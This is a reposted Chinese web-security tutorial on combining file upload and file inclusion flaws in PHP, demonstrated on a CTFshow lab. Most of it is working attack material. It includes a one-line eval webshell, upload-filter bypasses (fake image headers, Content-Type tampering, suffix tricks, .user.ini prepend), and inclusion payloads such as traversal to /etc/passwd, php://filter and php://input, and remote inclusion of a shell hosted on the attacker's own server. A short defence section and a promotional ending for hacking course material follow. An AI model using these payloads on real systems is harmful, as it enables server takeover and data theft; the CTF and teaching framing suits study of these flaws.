第4期:Web漏洞挖掘进阶|文件上传与文件包含漏洞组合利用实战

admin 2026-02-08 00:46:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统讲解文件上传与文件包含漏洞的组合利用技术,涵盖漏洞原理、分类、绕过技巧及防护方案。核心内容包括:通过伪造文件头、篡改Content-Type、后缀混淆等方式绕过上传限制;利用路径遍历、伪协议、截断等技术实现文件包含;结合CTFshow靶场演示从上传webshell到getshell的完整攻击链。文章强调白名单校验、随机文件名、关闭危险配置等防御措施,并指出新手常见误区如忽视服务器环境差异和过度依赖工具。文末附赠网安学习资源引流。 综合评分: 78 文章分类: WEB安全,渗透测试,漏洞分析,CTF,安全培训


  • 核心成因总结
  • 文件上传漏洞的触发需满足3个核心条件:

    • 上传可控:用户可以控制上传的文件内容与文件名。
    • 未做校验:服务器未对文件的类型、后缀、内容、大小进行严格校验,或校验逻辑存在缺陷。
    • 可访问执行:上传的恶意文件被保存到可访问的路径,且服务器支持该类型文件的执行(如PHP服务器支持.php文件执行)。
    1. 常见校验方式与缺陷

    开发者常会通过以下4种方式校验上传文件,每种方式都存在对应的缺陷,也是漏洞挖掘的突破口:

    二、文件包含漏洞底层原理与核心成因

    文件包含漏洞是“服务器文件引入漏洞”,核心成因是“服务器使用文件包含函数(如PHP的include()、require())引入文件时,未对文件路径进行严格校验,允许用户控制路径参数,从而包含恶意文件”。该漏洞多出现于使用框架开发、多模块复用的Web应用中。

    1. 漏洞代码示例(PHP)
    <?php
    // 接收用户控制的文件路径参数
    $file = $_GET['file'];
    // 包含文件(未对路径进行校验)
    include($file);
    ?>
    
    1. 漏洞触发过程

    当用户传入合法路径(file=./index.php)时,服务器会包含并执行index.php文件,无异常;当用户传入恶意文件路径(file=./upload/shell.php)时,服务器会包含并执行shell.php文件,若该文件是恶意脚本,即可实现getshell;此外,还可通过路径遍历(如file=../../etc/passwd)读取服务器系统文件。

    1. 核心成因总结

    文件包含漏洞的触发需满足2个核心条件:

    • 路径可控:用户可以控制文件包含函数的路径参数。
    • 未做校验:服务器未对路径参数进行严格校验,允许包含任意文件(本地文件、远程文件)。
    1. 核心分类

    根据包含的文件来源,文件包含漏洞可分为2类,实战中需针对性挖掘:

    • 本地文件包含(LFI):包含服务器本地的文件,可用于读取系统文件、执行本地恶意脚本(如上传的shell文件),最常见。
    • 远程文件包含(RFI):包含远程服务器上的恶意文件,需服务器开启allow_url_include=On(PHP配置),危害更大,可直接包含远程恶意脚本getshell。

    三、两类漏洞组合利用流程(CTFshow靶场实战)

    文件上传与文件包含漏洞单独存在时,危害有限(如上传的恶意文件无法执行、文件包含无恶意文件可包含),二者组合是实战中getshell的核心思路:上传恶意脚本文件→通过文件包含漏洞加载执行该文件。本文以CTFshow Web进阶第20题为例,拆解完整组合利用流程。

    1. 靶场环境与信息收集
    • 靶场地址:http://xxx.ctfshow.com/?file=index.php,存在文件包含参数file。
    • 功能判断:页面存在文件上传入口(头像上传),支持上传文件。
    • 初步探测:传入file=../../etc/passwd,页面显示系统文件内容,确认存在本地文件包含漏洞;尝试上传.php文件,提示“仅允许上传图片文件”,说明存在文件上传过滤。
    1. 步骤1:文件上传(绕过过滤,上传恶意脚本)

    目标仅允许上传图片文件,需绕过后端Content-Type与文件内容校验,上传恶意PHP脚本:

    • 步骤1-1:构造恶意脚本文件(shell.php),内容为一句话木马:
      &nbsp; <?php @eval($_POST['cmd']);?>
    
    • 步骤1-2:添加图片头部,伪装成jpg文件(绕过文件内容校验):用记事本打开shell.php,在头部添加jpg文件标识“FFD8FF”(十六进制),保存为shell.jpg.php(后缀混淆,绕过文件名校验);
    • 步骤1-3:篡改Content-Type,绕过类型校验:开启Burp,抓取上传请求,将Content-Type改为image/jpeg
    • 步骤1-4:提交上传,获取文件路径:上传成功后,页面返回文件路径为`./upload/shell.jpg.php。
    1. 步骤2:文件包含(加载执行恶意脚本)

    利用文件包含漏洞,加载上传的恶意文件,实现getshell:

    • 步骤2-1:构造文件包含URL,传入恶意文件路径:
      &nbsp; http://xxx.ctfshow.com/?file=./upload/shell.jpg.php
    
    • 步骤2-2:验证脚本执行:使用中国蚁剑连接该URL,密码为cmd(对应一句话木马中的$_POST['cmd']),连接成功后,可执行系统命令、读取Flag,完成getshell。
    1. 拓展:远程文件包含利用(RFI)

    若目标服务器开启allow_url_include=On,可直接包含远程恶意脚本,无需上传文件:

    • 步骤1:在自己的服务器上创建恶意脚本(shell.php),内容为一句话木马;
    • 步骤2:构造远程文件包含URL:
      &nbsp; http://xxx.ctfshow.com/?file=http://自己的服务器IP/shell.php
    
    • 步骤3:使用蚁剑连接该URL,即可getshell。

    四、文件上传过滤绕过技巧(实战重点)

    文件上传的核心挖掘难点是“绕过服务器校验”,结合实战场景,整理6种常用绕过技巧,覆盖绝大多数过滤场景。

    1. 后缀名绕过

    针对后端文件名后缀校验,常用以下3种方式:

    • 后缀混淆:使用服务器支持的非标准脚本后缀,如PHP服务器支持.php5、.phtml、.php3、.php.bak,上传shell.php5,服务器会当作PHP文件执行;
    • 大小写混淆:如上传shell.PhP,绕过区分大小写的后缀校验;
    • 空格/点绕过:Windows系统中,文件名末尾的空格或点会被忽略,如上传shell.php.(末尾加.)、shell.php (末尾加空格),保存后会自动变为shell.php。
    1. Content-Type绕过

    针对后端Content-Type校验,直接通过Burp篡改请求头即可:

    • 上传PHP文件时,将请求头中Content-Type改为合法图片类型(image/jpeg、image/png、image/gif)
    • 示例:抓取上传请求,修改Content-Type: image/jpeg,提交即可绕过。
    1. 文件内容绕过

    针对文件头部校验(判断文件类型),通过添加合法文件头部伪装即可:

    • 图片文件头部:jpg(FFD8FF)、png(89504E47)、gif(47494638),可通过十六进制编辑器添加,或直接在脚本前添加图片二进制内容;
    • 示例:在一句话木马前添加gif头部内容“GIF89a”,保存为shell.gif,上传后通过文件包含执行。
    1. 前端校验绕过

    针对前端JS文件名校验,有2种简单绕过方式:

    • 禁用浏览器JS:浏览器按F12,打开开发者工具,禁用JS(设置→调试器→禁用JavaScript),再上传恶意文件;
    • 修改JS代码:抓取上传请求前,修改前端JS中的后缀校验逻辑,删除对.php等脚本后缀的限制。
    1. 截断绕过

    针对路径拼接校验(如服务器自动添加图片后缀),可通过截断符截断文件名,示例:

    • 若服务器会自动给上传文件添加.jpg后缀,上传shell.php%00,%00是NULL截断符,服务器会截断后面的内容,保存为shell.php;
    • 注意:仅适用于PHP版本<5.3.4,高版本PHP已修复该漏洞。
    1. .user.ini绕过(PHP特有)

    若目标禁止上传.php文件,但允许上传.ini文件,可通过.user.ini文件篡改PHP配置,让服务器解析指定文件为PHP:

    • 步骤1:创建.user.ini文件,内容为:auto_prepend_file=shell.jpg(指定加载shell.jpg文件);
    • 步骤2:上传.user.ini与shell.jpg(shell.jpg中包含PHP一句话木马);
    • 步骤3:访问任意PHP文件,服务器会自动加载shell.jpg并解析为PHP,实现getshell。

    五、文件包含漏洞绕过技巧(实战重点)

    文件包含的核心挖掘难点是“绕过路径校验”,常用以下4种绕过技巧,应对不同校验场景。

    1. 路径遍历绕过

    针对限制包含本地文件路径的场景,通过../(上级目录)遍历到目标文件路径:

    # 遍历到根目录,读取系统文件
    file=../../../../etc/passwd
    
    # 遍历到上传目录,包含恶意文件
    file=../../upload/shell.php
    

    补充:若服务器过滤../,可使用…/./、….//等变形路径,或编码绕过(../编码为%2E%2E%2F)。

    1. 截断绕过

    针对服务器自动添加文件后缀的场景(如file=xxx自动拼接为file=xxx.php),使用截断符截断后缀:

    # NULL截断(PHP<5.3.4)
    file=./upload/shell.jpg%00
    
    # 路径长度截断(Windows)
    file=./upload/shell.jpgaaaaaaaaa...(重复多个a,达到路径长度限制,自动截断后续拼接内容)
    
    1. 伪协议绕过(PHP特有)

    PHP支持多种伪协议,可用于绕过后端路径校验,读取文件或执行代码,常用2种:

    • php://filter伪协议:用于读取文件内容,示例:
      &nbsp; file=php://filter/read=convert.base64-encode/resource=../../etc/passwd将文件内容转为Base64编码,解码后即可获取原文,适合读取PHP文件(避免被执行)。
    
    • php://input伪协议:用于执行POST请求中的代码,需开启allow_url_include=On,示例:
      &nbsp; file=php://inputPOST请求体中传入PHP代码(<?php phpinfo();?>),服务器会执行该代码。
    
    1. 远程文件包含绕过

    针对限制本地文件包含的场景,若服务器开启allow_url_include=On,可直接包含远程文件,或通过以下方式绕过限制:

    • 编码绕过:将远程文件URL进行URL编码,绕过关键词过滤(如http://);
    • IP进制转换:将远程服务器IP转为十进制/八进制,绕过IP过滤,示例:127.0.0.1转为十进制为2130706433,URL为http://2130706433/shell.php。

    六、防护方案(攻防兼备)

    1. 文件上传漏洞防护(核心)
    • 严格校验文件后缀:采用“白名单”机制,仅允许jpg、png、gif等合法后缀,禁止所有脚本后缀(包括非标准后缀)。
    • 多重内容校验:校验文件头部标识、文件大小、文件内容,禁止包含脚本代码的文件。
    • 修改文件名与存储路径:上传后随机生成文件名(如UUID),避免用户控制文件名;将上传文件存储到非Web访问目录,或禁止该目录的脚本执行权限。
    • 禁用前端校验依赖:前端校验仅作为辅助,核心校验逻辑放在后端,避免前端代码被篡改。
    1. 文件包含漏洞防护(核心)
    • 严格校验路径参数:采用“白名单”机制,仅允许包含指定目录的指定文件,禁止用户控制完整路径。
    • 禁用危险配置:PHP中关闭allow_url_include=Off,禁止远程文件包含。
    • 过滤危险字符:过滤../、http://、ftp://等危险字符,防止路径遍历与远程包含。
    • 限制文件包含范围:将包含的文件限制为本地文件,禁止包含远程文件与系统敏感文件。

    七、新手避坑指南(核心6点)

    • 避坑1:上传恶意文件后,未确认文件路径与执行权限。部分场景下,文件虽上传成功,但路径不可访问或无执行权限,无法利用;

    • 避坑2:忽视服务器环境差异。不同服务器(Apache/Nginx/IIS)对脚本后缀的支持不同,如IIS支持.asp、.aspx后缀,需针对性构造payload;

    • 避坑3:盲目使用截断绕过。截断漏洞仅存在于低版本PHP,高版本中无效,需先探测PHP版本;

    • 避坑4:文件包含时,混淆本地与远程包含的配置要求。远程包含需开启allow_url_include=On,本地包含无需;

    • 避坑5:忽视.user.ini文件的利用场景。当无法上传.php文件时,可尝试上传.user.ini配合图片木马绕过;

    • 避坑6:过度依赖工具,忽视手动构造payload。实战中过滤规则多样,需根据校验逻辑灵活调整绕过方法,工具无法覆盖所有场景。

      全是能直接用的干货:点击链接就能拿到!

      有了这个资源,网安技术学不会你找我!

      想要入行黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取。

      关注我,到我公众呺主页发送“学习”或者“黑客”,就能领取到视频教程,我都可以免费分享给大家哦!

      从0到进阶的全套网安教程

      有了这个资源,网安技术学不会你找我!

      可以截图或者直接扫码添加找我拿

      龙哥网络安全

      扫码添加领取

      点击蓝字

      关注我

      黑客技术#挖漏洞#技术分享#网络工程师#零基础小白学黑客技术#信息安全#CTF#网安技术#计算机专业#转行网络安全


    免责声明:

    本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

    任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

    本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

    本文转载自:龙哥网络安全 龙哥网络安全 龙哥网络安全《第4期:Web漏洞挖掘进阶|文件上传与文件包含漏洞组合利用实战》

    容器云环境威胁面分析 网络安全文章

    容器云环境威胁面分析

    文章总结: 本文分析了容器云环境的五大核心威胁面:镜像供应链攻击是头号风险,公共镜像可能植入木马或挖矿程序;容器逃逸因特权配置或运行时漏洞可突破隔离层获取宿主机
    评论:0   参与:  0